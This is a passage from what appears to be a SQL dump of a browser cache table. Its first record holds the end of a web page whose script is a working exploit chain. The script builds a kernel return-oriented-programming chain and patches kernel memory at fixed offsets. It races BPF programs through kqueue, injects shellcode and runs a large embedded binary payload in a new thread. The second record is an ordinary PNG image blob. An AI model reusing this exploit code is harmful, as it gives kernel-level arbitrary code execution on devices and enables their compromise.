i=0;i<4096/8;i++){p.write8(krop.stackBase.add32(i*8),g.ret);};krop.count=16;var kpatch=function(offset,qword){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.pop_rsi);krop.push(qword);krop.push(g.mov__rax__rsi);};var kpatch2=function(offset,offset2){krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(offset2);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);};p.write8(kscratch.add32(1056),g.pop_rdi);p.write8(kscratch.add32(64),g.pop_rax);p.write8(kscratch.add32(24),kscratch);krop.push(g.pop_rdi);krop.push(kscratch.add32(24));krop.push(g.mov_rbp_rsp);var rboff=topofchain-krop.count*8+40;krop.push(o2wk(2566497));krop.push(g.pop_rax);krop.push(rboff);krop.push(g.add_rdi_rax);krop.push(g.mov_rax__rdi__);krop.push(g.pop_rsi);krop.push(762);krop.push(g.add_rax_rsi);krop.push(g.mov__rdi__rax);var shellbuf=p.malloc32(4096);krop.push(g.pop_rdi);krop.push(kscratch);krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(808116);krop.push(g.add_rax_rsi);krop.push(g.pop_rdi);krop.push(kscratch.add32(8));krop.push(g.mov__rdi__rax);krop.push(g.jmp_rax);krop.push(g.pop_rdi);krop.push(kscratch.add32(16));krop.push(g.mov__rdi__rax);krop.push(g.pop_rsi);krop.push(new int64(4294901759,4294967295));krop.push(g.and_rax_rsi);krop.push(g.mov_rdx_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.mov_rax_rdx);krop.push(g.jmp_rdi);krop.push(g.pop_rax);krop.push(kscratch);krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(221338);krop.push(g.add_rax_rsi);krop.push(g.mov_rax__rax__);krop.push(g.pop_rdi);krop.push(kscratch.add32(816));krop.push(g.mov__rdi__rax);kpatch(221338,new int64(2425420344,2425393296));kpatch(20169540,shellbuf);kpatch(new int64(4293816070,4294967295),new int64(184,3297329408));kpatch(new int64(4293470503,4294967295),new int64(0,1082624841));kpatch(new int64(4293470533,4294967295),new int64(2425388523,1922076816));kpatch(new int64(4294769332,4294967295),new int64(934690871,826654769));kpatch(828366,new int64(233,2336788480));kpatch(1329844,new int64(2428747825,2425393296));kpatch(new int64(15789236,0),new int64(2,0));kpatch2(new int64(15789244,0),new int64(4293548276,4294967295));kpatch(new int64(15789276,0),new int64(0,1));krop.push(g.pop_rax);krop.push(kscratch.add32(8));krop.push(g.mov_rax__rax__);krop.push(g.pop_rsi);krop.push(9);krop.push(g.add_rax_rsi);krop.push(g.mov_rdi_rax);krop.push(g.pop_rax);krop.push(kscratch.add32(16));krop.push(g.mov_rax__rax__);krop.push(g.jmp_rdi);krop.push(o2wk(380345));krop.push(kscratch.add32(4096));var kq=p.malloc32(16);var kev=p.malloc32(256);kev.backing[0]=sock;kev.backing[2]=131071;kev.backing[3]=1;kev.backing[4]=5;var shcode=[35817,2425393152,2425393296,2425393296,8567125,2303246336,1096172005,1398030677,2303275535,3149957588,256,551862601,1220806985,9831821,2370371584,4265616532,2370699263,3767542964,2370633744,1585456300,2169045059,1265721540,277432321,4202255,698,3867757568,524479,3607052544,960335176,1207959552,3224487561,2211839809,3698655723,1103114587,1096630620,2428722526,1032669269,4294967160,2303260209,15293925,1207959552,770247,2303262720,3271888842,1818324331,979595116,628633632,1815490864,2648,0,0,0,0,0,0,0,0,0,0,0,0,0,0];for(var i=0;i<shcode.length;i++){shellbuf.backing[i]=shcode[i];};start1();while(1){race.count=0;race.push(s[362]);race.push(g.pop_rdi);race.push(kq);race.push(g.mov__rdi__rax);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push(g.ret);race.push_write8(loop1,interrupt1);race.push(g.pop_rdi);race.push(fd);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_valid_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(g.pop_rsi);race.push(kev);race.push(g.pop_rdx);race.push(1);race.push(g.pop_rcx);race.push(0);race.push(g.pop_r8);race.push(0);race.push(s[363]);race.push(g.pop_rdi);race.push(fd1);race.push(g.pop_rsi);race.push(2148549243);race.push(g.pop_rdx);race.push(bpf_spray_prog);race.push(s[54]);race.push(g.pop_rax);race.push(kq);race.push(g.mov_rax__rax__);race.push(g.mov_rdi_rax);race.push(s[6]);race.run();if(kscratch.backing[0]!=0){p.syscall(74,shellbuf,16384,7);p.fcall(shellbuf);break;};};};var createThread=webKitBase.add32(7836560);var payloadbuf=p.malloc32(16384);var payload=[139497,3224455168,264931657,3271651845,1211990856,26,4283439220,1720085,143218944,4290824008,1224736767,4294951623,1405353983,1224378696,33614977,2370306048,1630005,3884533760,369082417,6696,3219556680,129,435820031,2168979456,131268,1103321856,1096171863,1431585109,3968026707,8567064,839892992,1221691720,1208505995,1210114497,2370357257,749973640,847989762,608995656,1653296136,4135931144,23954447,2202599424,2249132028,355,1083739464,1291845630,785430669,2370306094,3052236968,1488472064,1280262468,1229996377,2232354361,315,138906440,1213238088,1077971784,411601736,3338665985,1088,1086783488,8,339789568,0,455,2336751616,159817867,1216956417,2206943280,36444784,541231432,407013704,814189384,1207959553,5055,16777216,1086801976,4294967136,2022263039,1086802008,4294967144,537870847,3901312197,4294911304,571473918,2257289408,335662342,2420671431,79,2340421632,30213801,2163618051,3439766155,2303197441,3364585711,16895238,4194490,1552140032,20385,3338665984,1780940931,3284152576,2961426320,2952815794,3348153089,1689440387,3271667712,3172335504,1275068440,2303517321,4018751734,411964927,2210791424,3027156,2492287723,4194085,4001974272,612141896,3800123400,4294950912,15106376,3120562112,7,3336044353,774952067,255948032,2303247650,1443056106,3296937992,3224460056,1096565085,1096696157,1222836063,2199438467,1566310344,1564564545,1598119489,2202555331,3857191148,3892314112,350,3842346312,1207959553,2334393481,1497861,1149847552,3224438820,403576319,2303197184,1032669414,4294966795,199,1877475328,2231369728,1958971840,4290785546,1567509,1209568000,380648845,1206386688,1207959552,381304205,1005060096,3187671040,511,2470284616,3892314134,66,131006,1032669184,5784,12776,20506624,2370306048,1484349,4252100608,2202599423,3632861380,3343434587,2752,4247972096,3343450111,3008,4247185664,3343450111,35008,4246399232,3343450111,151488,4245612800,2303262719,3526447345,1174309192,1388298289,822083586,4243843264,3277520895,1032669267,5726,283935560,889571144,23,1207959552,203709581,3906898248,4294967234,578076805,1222543688,373505421,2951217152,2248146943,1208972480,2370363017,1459005,4288473088,2089549823,2370309156,1505045,898451456,5695,4294932968,612142079,361580556,5864,808815944,3892314134,4294967138,281314120,1163117403,826657073,835269056,1224094162,371867021,369033216,5820,3172306248,1207959574,372127117,3280535552,736675721,2315255807,361580767,5764,473271624,3892314134,4294967062,1213980553,378934669,2370306048,1445173,4278249728,3375497215,835858768,1032669430,5634,1170813253,369082417,5728,361580633,5704,221613384,2298478614,4275104199,65535,1329677400,1346459980,3431,0,1946697603,891682566,2332033045,3246987335,1964566977,2177010160,201326818,16417024,1962937344,947880416,4919,4280670069,2315254783,3224442951,1220643144,278730125,4148690944,286558937,940004488,1220607816,1964046467,1101982691,1096171863,1431585109,3968026707,4253632808,1106676041,2303317897,2336777676,9516,2370306048,3121357916,20,836733256,1628831734,1140850709,203717769,75205960,3136719180,16,357701119,2336751616,1379125,4018751488,369087025,5400,1223264588,2303516297,548946407,3120562176,20,340661759,2336751616,1367861,4018751488,350623231,2202533888,1566255300,1564564545,1598119489,1096237507,1096106326,1213420884,29420673,2303262720,612666365,536,611617096,3029025800,135204,3548989440,2337685840,35136644,4283432960,35136692,3036610560,137252,1955284992,369045540,5152,818185032,2302787717,3867414468,1157627906,2232415877,733,611093832,1224093984,280686473,1275068416,807695501,612142412,2031484752,1207959572,539253897,3343447601,2630724,1275068417,280688521,4278190080,1334037,1150110720,2303488036,1211114620,941900999,32,18618,1291202816,2303510409,4278723652,1323797,93145088,4396,612665672,144,2634386760,1207959568,2552530057,1207959552,269354381,2303197184,10495108,2370306048,1015557,2223589376,43044,93145088,3824,612665672,176,478890085,37,898320384,5024,2303250993,2903900127,1275068435,136594571,1224182092,2303520393,18218946,1207959571,326776203,2303197184,3330884063,327030271,2235891712,3800371190,1207959553,323370379,2370568192,12068020,4130406400,326505983,4130406400,31930,4152970240,611093832,1897267008,1207959571,4028925067,1291845633,1275352717,29020553,1275068416,2303524745,1209017428,225285,2227660288,47140,1209218816,2303248009,1711809604,3122955463,536870912,4254459904,2336817151,1240885,1221734656,369090441,4860,280688177,1207959552,369094537,4876,609520460,2144784,2303262720,2159559145,1207959552,231869837,2303459328,3616099542,304485887,2336751616,1222453,3750316032,270812297,313136639,1418395648,3531935780,15500559,2370306048,20194436,4130406400,31930,3347662848,608471368,2836791056,1207959570,270812299,698,1955284992,2303461412,2227660543,78884,1712535296,908362951,536870913,1351437312,3515436036,609519948,4242139160,2336817151,1192757,1221734656,369090441,4672,2303260209,1096431,369033216,4688,609520460,3918088472,8435777,2370306048,858893,2144768,2303459328,3616099542,292165119,2336751616,1174325,3750316032,369083785,4592,980807045,1290701132,369096585,4456,108314757,8227649,2336758251,2336760884,4279247996,1134357,1958774016,76236832,2201520932,108331007,289543679,2336751616,1147709,3038117632,3942645777,1032538128,4468,4293144901,1155861,3296806912,440,1541441860,1096565085,1096696157,3224486751,1962902856,93014037,4432,1207995208,108314757,544750408,1438904949,3968026707,2089371672,1214580772,2436235,1207959552,288765323,3526426624,4293888328,1131285,1284197376,3091269668,128,1091407176,3120562188,144,276401481,4294871368,1079061,898320384,4352,2247067976,3099822528,2148469285,4292363535,1112853,3296937984,1540917528,1430373213,1213551681,1364458889,142576456,1609095985,1224736767,74760325,274238280,4293888328,1067797,1103136000,108381321,294275,2236108404,1716090075,38828931,2370585205,155819,4018752512,4294918888,1975551487,10533423,2303459328,3750316270,4293144901,1096469,3146598400,160,221370,4294324480,1089301,71681792,0,3767092314,1547787611,1438866753,4253632595,2139834449,3906679048,4294966998,1958774088,1485522948,4018751504,264377855,3229941760,2105738869,460587012,1960543560,3899670,1962934274,2072856590,4274120740,1166671871,1522544900,3116588379,3221225602,2303209999,3787540689,3356051488,1220943887,2169041545,4278190050,3257012223,1224368028,4287174029,2370371583,4294852744,636125695,687891655,1636862410,1207985349,4276098445,3934388223,6608132,2424949289,6607680,4111830344,2181038073,1648388842,2311727360,1648273040,361580544,4294965969,646090052,2181010773,1789725162,3358146816,2302986793,1789466240,1167100160,1459645099,3324120989,1220555203,359989125,1426426696,1207959567,2236088459,1208382656,1965062203,827573234,3968026843,4286924816,1065558900,1209955586,136606861,251794943,3229941760,2336755573,822617156,2021869787,2484011272,3296938179,1540917520,1096237507,1096106326,1213420884,1227418755,2370371209,4279772284,973589,1048789248,1276998657,2682845065,2248146943,1276212672,369096585,3744,3921709377,173,138840897,698,764103680,3784,3509947208,1157627918,1149845131,256182308,1091331511,239449871,1237582145,2303257699,4178968559,1090519054,3256,3229960192,1958971720,1988839784,3934865464,4292839752,969493,2123057408,3934865464,4293822796,965397,113721600,2,1173850444,4278740617,925461,2123057408,3934865464,2313062728,4278985796,955157,608471808,1049183496,1295354696,1207959566,2302795657,369035334,3712,608471876,3296937996,2302958376,1547787712,1581342017,1103322945,1213420884,2169044361,41196,20939520,1976338761,4135929868,2236431732,3945559524,609519926,881412108,4271695908,2336817151,3229951028,203707531,2303515509,4018751713,228201983,938016768,1207959553,2011754377,2248146942,3138024896,22,61673,1955416064,2303201316,2031484911,2231369741,264473024,55429,4557568,1963063427,1435191311,3531950136,11502607,1810563072,251852931,48261,1972062208,1320619832,1186402060,1368213528,3770763488,3257485317,1073382216,10651151,3800039424,2575634191,1207959552,537285773,1959953736,1186402160,2223851534,4294901761,3321972991,2285797704,1962934272,3330492438,2089633800,2293897252,4278190080,878357,2335042304,1030099010,1081474560,612142408,8960536,2370306048,746293,1159069440,1207959565,270812299,1207995208,405030025,611618120,8960536,2303459328,622198759,3942645773,244500,233504768,2204507511,3094610680,11707,3956836608,4292721453,4125884415,4294958011,1726934015,1962807357,406677147,1222473214,405044365,35002,898451456,2648,2169017323,41156,1096637184,1447150428,3968026707,4135931160,1962641736,4152970270,609519944,881412104,4246530084,2336817151,3229951028,609520456,1209038088,1209582723,1096540041,623247198,3338665996,1090,2202533888,3224443076,3277734235,3850979413,1447122753,1413567809,3968026707,1166755880,4287187200,140938060,1291028808,1146646155,1212446347,4265130123,2336817151,2236108870,1166625023,1212582856,264521097,49028,20939520,3092613448,2615677556,2248146940,1208579520,3921171851,164,1172801868,1726538801,1224736764,74760325,274762572,3363670856,4294726888,1224094207,74760325,275811144,1308569925,292875653,3908012364,4294966329,1958774088,2022394884,3833941264,2236119156,1299412214,2336812421,773901,3264548608,3362601292,2227213583,4035527874,2235904372,1093432566,4194493,3321972736,1291135301,2303059849,4069084398,1435226623,1015892932,4270410790,4293536068,757525,2334649088,21546069,3884534982,451662335,683967304,1289652552,1096548233,1096630620,1566523742,183903743,1137115136,4,3296937984,3224460072,1564564545,1598119489,2193212253,264241152,3515435058,551665992,264767816,2303247904,3800123634,4294901759,2629968399,2370370143,4294754837,2290960639,4294966848,3819367041,3391684707,3789721737,2370306147,4294682645,2190296319,4288419071,4145932929,3391684707,2311596353,1677023632,361580544,4294966806,831580801,2302935140,1676230016,2311727360,1680854160,361580544,4294966856,1034414721,3391684708,1004769417,2639724644,3284541967,33465,1211240384,3242774921,155721953,2425178312,21708624,1628801352,1207959562,3196096653,2303197812,674581,2425178112,21797768,890603848,1207959562,3762851981,2303197809,663317,2425178112,41018392,152406344,1207959562,775458957,2303197752,652053,2425178112,3895264,1561692488,1207959562,3767570573,2303197200,673557,2425178112,1106592,823494984,1207959562,2742063245,2303197214,662293,2425178112,3277824,85297480,1207959562,151031949,2303197189,651029,2425178112,1006672,3642067272,1207959561,1578143885,2303197199,639765,2425178112,1834448,2903869768,1207959561,4275081357,2303197211,628501,2425178112,6559520,1360365896,1207959561,595628173,2303197283,604949,2425178112,6540160,622168392,1207959561,3274739853,2303197283,593685,2425178112,6564224,4178938184,1207959560,3535835277,2303197282,582421,2425178112,6417888,3440740680,1207959560,3645935757,2303197282,571157,2425178112,6477248,2702543176,1207959560,3772813453,2303197282,559893,2425178112,6411824,1964345672,1207959560,3591409805,2303197215,548629,2425178112,3811856,1226148168,1207959560,742428813,2303197242,537365,2425178112,2970608,487950664,1207959560,3482357901,2303197232,526101,2425178112,1699280,4044720456,1207959559,3959459981,2303197209,514837,2425178112,1699712,3306522952,1207959559,4023423117,88604697,1701280,2836760904,1207959559,127534473,1354956800,3790127153,3909091325,4294966598,4294461160,3823721215,1090519040,1096171863,1431585109,3968026707,2337039704,9532,2202075136,2236153801,2911113215,1207959552,410374789,1305030981,2215624837,156,51017,3909091328,144,1221364041,2370622345,1292903540,2303247753,2089371893,4130408484,4282,4152970240,135927295,2303459328,1276126308,539255949,610044232,3136696600,48,4293364044,523029,1955154944,2336759844,3339199612,19407940,1207959552,807693449,1223067980,941907081,1076118727,1,1143227591,1,612141388,3910532936,1291845638,2302799237,1208579265,941906987,6129993,1489273672,1539868996,1096565085,1096696157,1463927647,1430345281,1398101057,1223459656,822446920,1207959559,539262093,1563790664,3103784966,8,2336794099,1955417128,2336759844,483101,1032669184,1544,125441535,2370306048,281789,898451456,1524,4290939208,1958774227,1837844494,3984934912,3622423669,2197815297,2236153800,3951300589,1207959553,405030087,0,4293888328,407317,3229960192,264472904,109956,2827699200,256,1170704712,292941189,101586431,826605568,3828434431,58345,4111859456,822083589,1418545398,2303203364,3574988767,2231369733,1143895488,2336812937,431925,115851520,698,4251143424,114169343,2236088320,3297331648,2303200116,3224454593,34025,3750316032,94508543,2303197184,2836791263,3909091333,302,611617608,1149846552,2303200292,210323663,1183533092,3330361376,141,541165896,2605091656,675383624,3276180296,809601352,2312062603,3938543298,3134202120,32,943819110,105518591,2336751616,1209541700,1143213195,203703435,138447688,1086423880,1220576584,405030025,4282452084,3308864960,2303233663,420872159,1207959557,369090441,1312,836929868,4164504768,2303208308,3237955793,1086489416,947487590,1223324933,2199935371,2236153800,2223247323,1157627904,2370633521,3944227948,4291330827,2202629611,678699263,1043630915,1223199053,74386829,96075776,1207959552,2202660745,21497031,4247120094,3230007295,1206637684,45321544,1291861510,2370365577,282381,571904,2303197184,4244760815,3230007295,2370315637,3935741875,3901312256,906857800,3120562180,5,3908012360,4294966495,3364029931,1293675519,376759429,490048328,2298478597,2303468548,1360396263,2332033029,2202543108,1566263492,1564564545,1598119489,195,0,0,0,1162559814,1162559814,1162559814,1162559814,2368127638,2333877865,4285217566,307159087,2126017525,2273089628,2933584231,2873883040,1691277431,2790244714,3433740699,1067714934,1660287673,1236798084,3298746114,1456682778,359572493,2376078599,546479511,2999145027,4090755069,1328063081,1082158946,511720287,2332899422,1482074198,3933198808,373303826,658369985,2539888662,3428137313,150603146,1448475944,90543153,1817695207,191306765,946287949,993956028,4072434858,3527778027,986328841,2905997980,2997993774,1797225581,543330209,913102476,2656328406,631810352,1041404989,4028306957,3765584518,1748606166,2524975579,1097935640,401111112,520125835,1976723478,4074812823,2893352045,2983581974,3504901045,1629464511,1761085531,3167875303,1438605369,807435420,1143492840,710004226,4259009573,2593604998,3824162590,303010469,2790022186,3900690341,442889051,3113996232,1569769770,4140763348,4233779715,299611806,1648222957,1569258689,758230167,1890391491,1520483845,1151087846,4276431736,1758746168,3869512579,2879181562,274696620,74413455,3166285500,4198636983,3021968462,1805395722,3956459435,693256743,1076217921,1833492564,2222424099,614166349,1797979729,2661384232,3390598589,2040429965,3954761818,3656596945,2804584450,2728033973,2820747223,2710338896,2545889169,3250754238,520915981,355807710,2546765881,159329863,3466380265,1489547921,493938806,3863633778,2485270186,3012580038,4025523103,3277033047,3620286691,2030844592,3567818523,2966561409,8217218,3349038936,1706354733,1786250686,1523134857,3243302468,1050541511,1075266081,1103755641,265813185,3802363444,542776256,1378856719,1916044237,856863663,2954898465,2972557510,2963792729,1531714638,1352274015,2038877208,34668325,2835583119,485669431,1158269971,1951774741,69478410,3014334929,4172694730,1915400509,2263102856,138892651,1772820005,4277583645,2,822083584,0,0,65280,0,0,0,0,0,1073741824,805318656,0,1073741824,0,8388608,4294918144,4026531840,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,822083584,0,536871808,65280,0,0,0,0,0,1073741824,1073758208,0,1073741824,2,8388608,4294918144,4026531840,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1399153491,1819043176,1701998403,2428514560,37008,0,38633,2425393152,1701996032,101,0,0,0,0,1495131,7968779,8280595,9728347,1495175,2323579,7968823,9728391,5376,168456997,168430090,1966014474,1952539760,1397763941,1146115380,776295489,5264720,1685091631,795178081,1429492560,1413563472,1431318085,1701719632,1702112884,1459646573,1868786789,1948280173,1397760111,1313163316,774993440,1768685622,1919249250,778855790,2020765811,1651076096,1852990827,2002742373,1932419685,7893616,1801611628,1701737061,2037604204,1886596723,1593866354,1920099679,1929409135,1699439971,1818586738,1684107084,1918989395,1685015924,6646901,1398958444,1766614371,1850303330,1852990836,1932422241,7893616,1936549229,1828746341,1885564261,1886584953,1953393010,1932460134,1702130553,1868771181,1852796269,1651076143,1651076143,1399153491,1951757177,1932422249,7893616,1399153523,1951757177,1699966057,2035508334,1835365491,1769238350,1633904998,1852795252,1752459607,1954047316,0];for(var i=0;i<payload.length;i++){payloadbuf.backing[i]=payload[i];};p.syscall(74,payloadbuf,65536,7);p.syscall(324,1);p.fcall(createThread,payloadbuf,0,p.sptr("payload"));done();}</script></body></html>',NULL);
INSERT INTO `CacheResourceData` VALUES (10,X'89504e470d0a1a0a0000000d494844520000078000000438080200000067b15614000000097048597300000b1300000b1301009a9c1800000a4d6943435050686f746f73686f70204943432070726f66696c65000078da9d53775893f7163edff7650f5642d8f0b1976c81002223ac08c81059a21092006184101240c585880a561415119c4855c482d50a489d88e2a028b867418a885a8b555c38ee1fdca7b57d7aefededfbd7fbbce79ce7fcce79cf0f8011122691e6a26a003952853c3ad81f8f4f48c4c9bd80021548e0042010e6cbc26705c50000f00379787e74b03ffc01af6f00020070d52e2412c7e1ff83ba50265700209100e02212e70b01905200c82e54c81400c81800b053b3640a009400006c797c422200aa0d00ecf4493e0500d8a993dc1700d8a21ca908008d0100992847240240bb00605581522c02c0c200a0ac40222e04c0ae018059b632470280bd0500768e58900f4060008099422ccc0020380200431e13cd03204c03a030d2bfe0a95f7085b8480100c0cb95cd974bd23314b895d01a77f2f0e0e221e2c26cb142611729106609e4229c979b231348e7034cce0c00001af9d1c1fe383f90e7e6e4e1e666e76ceff4c5a2fe6bf06f223e21f1dffebc8c020400104ecfefda5fe5e5d60370c701b075bf6ba95b00da560068dff95d33db09a05a0ad07af98b7938fc401e9ea150c83c1d1c0a0b0bed2562a1bd30e38b3eff33e16fe08b7ef6fc401efedb7af000719a4099adc0a383fd71616e76ae528ee7cb0442316ef7e723fec7857ffd8e29d1e234b15c2c158af15889b850224dc779b952914421c995e212e97f32f11f96fd0993770d00ac864fc04eb607b5cb6cc07eee01028b0e58d27600407ef32d8c1a0b91001067343279f7000093bff98f402b0100cd97a4e30000bce8185ca894174cc608000044a0812ab041070cc114acc00e9cc11dbcc01702610644400c24c03c104206e4801c0aa11896411954c03ad804b5b0031aa0119ae110b4c131380de7e0125c81eb70170660189ec218bc86090441c8081361213a8811628ed822ce0817998e04226148349280a420e988145122c5c872a402a9426a915d4823f22d7214398d5c40fa90dbc820328afc8abc47319481b25103d4027540b9a81f1a8ac6a073d174340f5d8096a26bd11ab41e3d80b6a2a7d14be87574007d8a8e6380d1310e668cd9615c8c87456089581a26c71663e55835568f35631d583776151bc09e61ef0824028b8013ec085e8410c26c82909047584c5843a825ec23b412ba085709838431c2272293a84fb4257a12f9c478623ab1905846ac26ee211e219e255e270e135f9348240ec992e44e0a21259032490b496b48db482da453a43ed210699c4c26eb906dc9dee408b280ac209791b7900f904f92fbc9c3e4b7143ac588e24c09a22452a494124a35653fe504a59f324299a0aa51cda99ed408aa883a9f5a496da076502f5387a91334759a25cd9b1643cba42da3d5d09a696769f7682fe974ba09dd831e4597d097d26be807e9e7e983f4770c0d860d83c7486228196b197b19a718b7192f994ca605d39799c85430d7321b9967980f986f55582af62a7c1591ca12953a9556957e95e7aa545573553fd579aa0b54ab550fab5e567da64655b350e3a909d416abd5a91d55bba936aece5277528f50cf515fa3be5ffd82fa630db2868546a08648a35463b7c6198d2116c63265f15842d6725603eb2c6b984d625bb2f9ec4c7605fb1b762f7b4c534373aa66ac6691669de671cd010ec6b1e0f039d99c4ace21ce0dce7b2d032d3f2db1d66aad66ad7ead37da7adabeda62ed72ed16edebdaef75709d409d2c9df53a6d3af77509ba36ba51ba85badb75cfea3ed363eb79e909f5caf50ee9ddd147f56df4a3f517eaefd6efd11f373034083690196c313863f0cc9063e86b9869b8d1f084e1a811cb68ba91c468a3d149a327b826ee8767e33578173e66ac6f1c62ac34de65dc6b3c61626932dba4c4a4c5e4be29cd946b9a66bad1b4d374ccccc82cdcacd8acc9ec8e39d59c6b9e61bed9bcdbfc8d85a5459cc54a8b368bc796da967ccb05964d96f7ac98563e567956f556d7ac49d65ceb2ceb6dd6576c501b579b0c9b3a9bcbb6a8ad9badc4769b6ddf14e2148f29d229f5536eda31ecfcec0aec9aec06ed39f661f625f66df6cf1dcc1c121dd63b743b7c727475cc766c70bceba4e134c3a9c4a9c3e957671b67a1739df33517a64b90cb1297769717536da78aa76e9f7acb95e51aeebad2b5d3f5a39bbb9bdcadd96dd4ddcc3dc57dabfb4d2e9b1bc95dc33def41f4f0f758e271cce39da79ba7c2f390e72f5e765e595efbbd1e4fb39c269ed6306dc8dbc45be0bdcb7b603a3e3d65facee9033ec63e029f7a9f87bea6be22df3dbe237ed67e997e07fc9efb3bfacbfd8ff8bfe179f216f14e056001c101e501bd811a81b3036b031f049904a50735058d05bb062f0c3e15420c090d591f72936fc017f21bf96333dc672c9ad115ca089d155a1bfa30cc264c1ed6118e86cf08df107e6fa6f94ce9ccb60888e0476c88b81f69199917f97d14292a32aa2eea51b453747174f72cd6ace459fb67bd8ef18fa98cb93bdb6ab6727667ac6a6c526c63ec9bb880b8aab8817887f845f1971274132409ed89e4c4d8c43d89e37302e76c9a339ce49a54967463aee5dca2b917e6e9cecb9e773c593559907c3885981297b23fe5832042502f184fe5a76e4d1d13f2849b854f45bea28da251b1b7b84a3c92e69d5695f638dd3b7d43fa68864f4675c633094f522b79911992b923f34d5644d6deaccfd971d92d39949c949ca3520d6996b42bd730b728b74f662b2b930de479e66dca1b9387caf7e423f973f3db156c854cd1a3b452ae500e164c2fa82b785b185b78b848bd485ad433df66feeaf9230b82167cbd90b050b8b0b3d8b87859f1e022bf45bb16238b5317772e315d52ba647869f0d27dcb68cbb296fd50e2585255f26a79dcf28e5283d2a5a5432b82573495a994c9cb6eaef45ab9631561956455ef6a97d55b567f2a17955fac70aca8aef8b046b8e6e2574e5fd57cf5796ddadade4ab7caedeb48eba4eb6eacf759bfaf4abd6a41d5d086f00dad1bf18de51b5f6d4ade74a17a6af58ecdb4cdcacd03356135ed5bccb6acdbf2a136a3f67a9d7f5dcb56fdadabb7bed926dad6bfdd777bf30e831d153bdeef94ecbcb52b78576bbd457df56ed2ee82dd8f1a621bbabfe67eddb847774fc59e8f7ba57b07f645efeb6a746f6cdcafbfbfb2096d52368d1e483a70e59b806fda9bed9a77b5705a2a0ec241e5c127dfa67c7be350e8a1cec3dcc3cddf997fb7f508eb48792bd23abf75ac2da36da03da1bdefe88ca39d1d5e1d47beb7ff7eef31e36375c7358f579ea09d283df1f9e48293e3a764a79e9d4e3f3dd499dc79f74cfc996b5d515dbd6743cf9e3f1774ee4cb75ff7c9f3dee78f5df0bc70f422f762db25b74bad3dae3d477e70fde148af5b6feb65f7cbed573cae74f44deb3bd1efd37ffa6ac0d573d7f8d72e5d9f79bdefc6ec1bb76e26dd1cb825baf5f876f6ed17770aee4cdc5d7a8f78affcbedafdea07fa0fea7fb4feb165c06de0f860c060cfc3590fef0e09879efe94ffd387e1d247cc47d52346238d8f9d1f1f1b0d1abdf264ce93e1a7b2a713cfca7e56ff79eb73abe7dffde2fb4bcf58fcd8f00bf98bcfbfae79a9f372efaba9af3ac723c71fbcce793df1a6fcadcedb7defb8efbadfc7bd1f9928fc40fe50f3d1fa63c7a7d04ff73ee77cfefc2ff784f3fb25d29f33000000206348524d00007a25000080830000f9ff000080e9000075300000ea6000003a980000176f925fc5460000ce5b4944415478daecdd51b69c37aeadd97fdfc126541faba1d5b0a8879b39329d96acd056905c00e6f7764eda56602d00041914e3ebfff97fffbf0700000000000000804ff37f480000000000000000d881036800000000000000c0161c400300000000000000b6e0001a00000000000000b00507d000000000000000802d388006000000000000006cc1013400000000000000600b0ea001000000000000005b58cfeb27ffcb17710000000000000000df673d3f3e81fefae9c1f47ffd230000000000000000fc8cf593ffff1bc7cfaf37fef30ea901000000000000602aebbbffe27b17a45da30600000000000080a9ac6dffe5f72e483ba10600000000000080a6acab7fba873e00000000000000a02d2bfbe3b9460d000000000000005559f543708d1a0000000000000012590362f47b8900000000000000708145020f7d00000000000000c00e1c40bf89873e00000000000000e0f77000fd293cf401000000000000007fc101f4313cf40100000000000060160ea0a3f0d007000000000000803e3880ae856bd400000000000000cae000ba1fae510300000000000088c001f440fc5e2200000000000080133880c6dff1d007000000000000800fe0001adfc3431f000000000000007e8103686cc2431f000000000000c0741c40e3161efa000000000000009ae3001ac978e80300000000000028cc7a5e8ee75017d7a8010000000000805cd6f3788717bd718d1a000000000000b8c37b4f70389e4367fc5e22000000000000b085f5b773b5ef9ea2399e435b3cf4010000000000007c87bfdf80de768ae61a353ae3a10f000000000000e07f59bfffafecbce7e90e29dae2a10f0000000000008c636df86feebce7e9780e6df1d007000000000000bab12efdb91efa00f6148e12000000000000400c2bf58379e803d891dc8f6bd400000000000038c62afbc93df4016ccb6fd7a8010000000000f00956ebe83cf4016c2b1cdfd3000000000000e057acd9e1bb460d6c2b1c25000000000000309e45825fe11a35b0a7709400000000000040771c40ff397e2f11d896dc4a000000000000a0320ea00fe0a10f605be12801000000000080601c4087e0a10f604fe128010000000000807b3880ae82873e801dc9fdb8460d0000000000b00f07d06df0d007b02dbf5da3060000000000f8160ea047e1a10f605be1f89e060000000000e06f3880c67fe31a35b0ad709400000000000098870368fc2eae51037b0a4709000000000080762c97f2f069fc5e22b02db99500000000000028c51b37a09d77e0c378e803d856384a00000000000024f18927389c77e0f378e803d853384a0000000000001ce4c81bd0ce3b7021ab3cf4017cb71d2b010000000000f021d6cfcf23ce1e3038efc0e9947a3cf4017c33bf7dad080000000000dee31f6e40879db139efc085acf2d007f0ddc2f13d0d0000000000f8b32738f2ced89c77e0744a3dae5103df2c1c250000000000c00076bf015ded1ab5f30ee464956bd4185e384a000000000080faacdb1fc0431f688fdf4b04b625b7120000000000209b15ff093df481f678e803d856384a000000000080abac165178e803edf1d007b0a770940000000000003b5933c2f4d00724b9873e80efb663250000000000c0775924789ec7431f90e47f9455d215a36bc7356a00000000007e8a03e8f7718d1a92dc431fc0770bc7f7340000000080913880fe20ae5143923fae5103df2c1c250000000000e88803e8c3f8bd444872d7a8816f158e12000000000014